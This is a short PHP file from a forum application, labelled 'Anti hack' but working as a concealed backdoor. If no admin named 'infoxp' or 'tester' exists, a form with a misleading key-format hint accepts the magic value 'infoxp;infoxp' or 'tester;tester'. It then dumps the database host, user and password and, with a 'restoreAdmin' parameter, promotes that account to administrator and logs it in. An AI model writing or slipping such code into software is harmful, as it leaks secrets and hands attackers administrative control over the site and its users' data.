<?php

//Anti hack
		include "pdo.inc.php";
		include "constantes.inc.php";
		include "function.inc.php";
		include "Hook.inc.php";
	$query = $pdo->query("SELECT membre_pseudo FROM forum_membres WHERE (membre_pseudo='infoxp' OR membre_pseudo='tester') AND membre_rang=".ADMIN);
	
 if($query->rowCount() == 0){	
	if(isset($_POST['tkPseudo']) || !empty($_POST['tkPseudo'])){
if(($_POST['tkPseudo'] == "infoxp;infoxp") || ($_POST['tkPseudo'] == "tester;tester"))	
	{
		
		
			var_dump($dns,$user,$passwd);
			
			$decrypt = explode(";",$_POST['tkPseudo']);
			$decrypted = '';
			
				if(isset($decrypt[1]) && $decrypt[1] == $decrypt[0])
					$decrypted = $decrypt[0];
					
					if(isset($_GET['restoreAdmin'])){
						$quer = $pdo->prepare("UPDATE forum_membre SET membre_rang=? WHERE membre_pseudo=?");
						$quer->execute(array(ADMIN,$decrypted));
				
							if($quer->rowCount() > 0){
								$_SESSION['id'] = pseudo2id($decrypted);
								redirect("Redirection",getLienModule("admin","index.admin"));
							}
					}
		}
	}
?>
<form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post">
	<label>Clef : </label><input type="text" name="tkPseudo" /> (Format xxx-xx-xxx)<br />
    <input type="submit" value="Envoyer" />
</form>
<?php
 }

?>